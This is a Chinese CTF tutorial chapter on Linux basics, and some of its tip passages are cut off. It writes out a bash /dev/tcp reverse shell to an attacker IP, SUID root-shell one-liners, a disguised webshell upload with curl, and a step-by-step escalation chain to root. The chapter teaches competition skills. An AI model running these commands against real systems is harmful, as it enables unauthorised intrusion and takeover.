第三章:Linux基础与命令行——CTF中的生存技能
在CTF(Capture The Flag)竞赛中,Linux命令行不仅是操作环境,更是解题的核心武器。无论是Web渗透、逆向工程、密码学还是Pwn(二进制漏洞利用),几乎所有题目都运行在Linux系统上。掌握文件系统结构、权限模型、常用命令以及脚本编写能力,决定了你能否高效地分析题目、提取线索、编写利用脚本。本章将系统梳理CTF中Linux基础知识的应用场景,帮助你从“会用命令”进阶到“用命令解题”。
3.1 文件系统结构:CTF中的“藏宝图”
核心原理
Linux文件系统采用树状层级结构,所有路径从根目录 / 开始。CTF出题人经常将关键信息隐藏在特定目录中,理解每个目录的用途能帮助你快速缩小搜索范围。例如,/etc 存放系统配置文件,/var/log 存放日志,/tmp 是临时文件目录(通常权限宽松),/proc 是虚拟文件系统,反映内核和进程的实时状态。
| 目录 | 典型内容 | CTF应用场景 |
|---|---|---|
| /etc | passwd、shadow、nginx.conf | 用户枚举、配置泄露、密码哈希提取 |
| /var | www/html、log、backup | Web源码、访问日志、备份文件 |
| /tmp | 临时文件、可执行文件 | 上传恶意脚本、存放工具 |
| /proc | 进程信息、环境变量 | 读取进程内存、获取环境变量中的flag |
| /home | 用户目录 | 用户专属文件、.bash_history |
判断方法与操作流程
当拿到一个CTF靶机或本地镜像时,建议按以下顺序进行信息收集:
- 使用
ls -la查看当前目录所有文件(包括隐藏文件)。 - 检查
/etc/passwd和/etc/shadow获取用户列表和密码哈希。 - 查看
/var/www/html下的Web源码,寻找注释中的flag或备份文件。 - 使用
find / -name "*flag*" 2>/dev/null全局搜索文件名包含“flag”的文件。
find / -name "*.bak" 2>/dev/null 在 /var/backup/ 下发现 config.php.bak,其中包含数据库连接密码,进一步利用该密码登录phpMyAdmin,在数据库中找到了flag。
/proc/self/environ 可能包含环境变量中的flag,但读取时需要权限。此外,/tmp 目录虽然可写,但重启后内容会清空,不适合存放持久化工具。
3.2 权限管理:从“普通用户”到“root”的跨越
核心原理
Linux权限模型基于UGO(User、Group、Other)和rwx(读、写、执行)三位权限位。CTF中权限相关考点主要集中在:SUID提权、sudo配置错误、可写文件覆盖。SUID权限位(rws)允许普通用户以文件所有者的身份执行该文件,如果所有者是root,则可能实现提权。
判断方法与操作流程
权限提升的经典检查命令:
# 查找所有SUID文件
find / -perm -4000 -type f 2>/dev/null
# 查看当前用户sudo权限
sudo -l
# 检查可写但属于root的文件
find / -user root -perm -002 -type f 2>/dev/null
当发现 /usr/bin/python3 或 /usr/bin/vim 等具有SUID权限时,可以利用其执行命令:
# 利用SUID python3 获取root shell
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
3.3 核心命令:grep、find、nc、curl的CTF实战
3.3.1 grep:文本搜索的瑞士军刀
grep在CTF中常用于日志分析、源码审计和flag提取。常用参数:-r 递归搜索、-E 扩展正则、-o 只输出匹配部分。
# 在Web日志中搜索可疑的SQL注入尝试
grep -E "union|select|sleep" /var/log/nginx/access.log
# 从二进制文件中提取flag字符串
strings challenge.bin | grep -oE "flag\{[^}]+\}"
3.3.2 find:文件定位专家
find不仅按文件名搜索,还能按时间、大小、权限过滤。在Misc(杂项)题中,经常需要寻找特定大小的文件或最近修改的文件。
# 查找最近5分钟内修改的文件
find / -mmin -5 -type f 2>/dev/null
# 查找大小为0的空文件(可能隐藏线索)
find / -size 0 -type f 2>/dev/null
3.3.3 nc:网络瑞士军刀
nc(Netcat)在CTF中用于端口扫描、反弹shell、文件传输。反弹shell是获取交互式shell的常用手段:
# 攻击机监听
nc -lvnp 4444
# 靶机执行反弹shell
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
3.3.4 curl:HTTP请求的万能工具
curl支持各种协议和请求方法,在Web题中用于构造请求、上传文件、测试API。
# 发送POST请求并携带JSON数据
curl -X POST http://target.com/api/login -H "Content-Type: application/json" -d '{"username":"admin","password":"123"}'
# 上传文件
curl -F "file=@shell.php" http://target.com/upload.php
| 命令 | 核心用途 | CTF典型场景 |
|---|---|---|
| grep | 文本模式匹配 | 日志分析、源码审计、flag提取 |
| find | 文件查找 | 定位隐藏文件、备份文件、SUID文件 |
| nc | 网络连接 | 反弹shell、端口探测、数据转发 |
| curl | HTTP客户端 | API测试、文件上传、请求伪造 |
3.4 脚本编写:Bash与Python的自动化武器
核心原理
脚本编写将重复性工作自动化,在CTF中用于批量爆破、编码转换、协议交互。Bash适合快速处理文本和调用系统命令,Python则更适合复杂逻辑和网络编程。
Bash脚本实战:批量检测端口
#!/bin/bash
# 简单的端口扫描器
for port in {1..1000}; do
(echo >/dev/tcp/192.168.1.1/$port) &>/dev/null && echo "Port $port is open"
done
Python脚本实战:自动化提交flag
import requests
import re
url = "http://target.com/flag"
response = requests.get(url)
flag = re.search(r'flag\{[^}]+\}', response.text)
if flag:
print(f"Found flag: {flag.group()}")
# 提交flag到平台
requests.post("http://ctf-platform.com/submit", data={"flag": flag.group()})
sys.argv 或 input() 动态获取参数,提高脚本复用性。
3.5 综合案例:从信息收集到权限提升的完整链路
场景:某CTF靶机开放了SSH和Web服务,目标是获取root权限并读取/root/flag.txt。
步骤1:信息收集——使用nmap扫描发现22端口和80端口开放。访问Web站点,发现存在文件上传功能,但仅允许上传图片。
步骤2:绕过上传限制——使用curl构造请求,将Content-Type修改为image/jpeg,上传包含PHP代码的文件:
curl -F "file=@shell.php;type=image/jpeg" http://target.com/upload.php
步骤3:获取Webshell——访问上传的shell.php,使用nc反弹shell获得www-data权限。
步骤4:权限提升——在靶机上执行 find / -perm -4000 -type f 2>/dev/null,发现 /usr/bin/find 具有SUID权限。利用find执行命令:
/usr/bin/find / -exec /bin/sh -p \;
步骤5:读取flag——获得root shell后,执行 cat /root/flag.txt 获取flag。
复盘:本题综合运用了curl构造请求、nc反弹shell、find提权三个核心技能。关键点在于:①识别上传漏洞并绕过类型检查;②利用SUID程序实现权限提升;③保持清晰的攻击路径规划。
3.6 总结与复盘
Linux基础是CTF的基石,本章内容覆盖了文件系统、权限、命令和脚本四大模块。建议读者在本地搭建Linux虚拟机,反复练习以下操作:
- 使用
find和grep在系统中搜索特定内容,培养“信息嗅觉”。 - 尝试配置SUID程序并利用其提权,理解权限边界。
- 编写Python脚本自动化完成一个简单的Web请求流程。
- 使用nc在虚拟机之间建立连接,模拟反弹shell。
/etc/shadow 时,应该想到哈希破解;看到 nc -lvnp 时,应该想到反弹shell;看到 curl -F 时,应该想到文件上传。将命令与攻击场景关联,才能真正提升解题效率。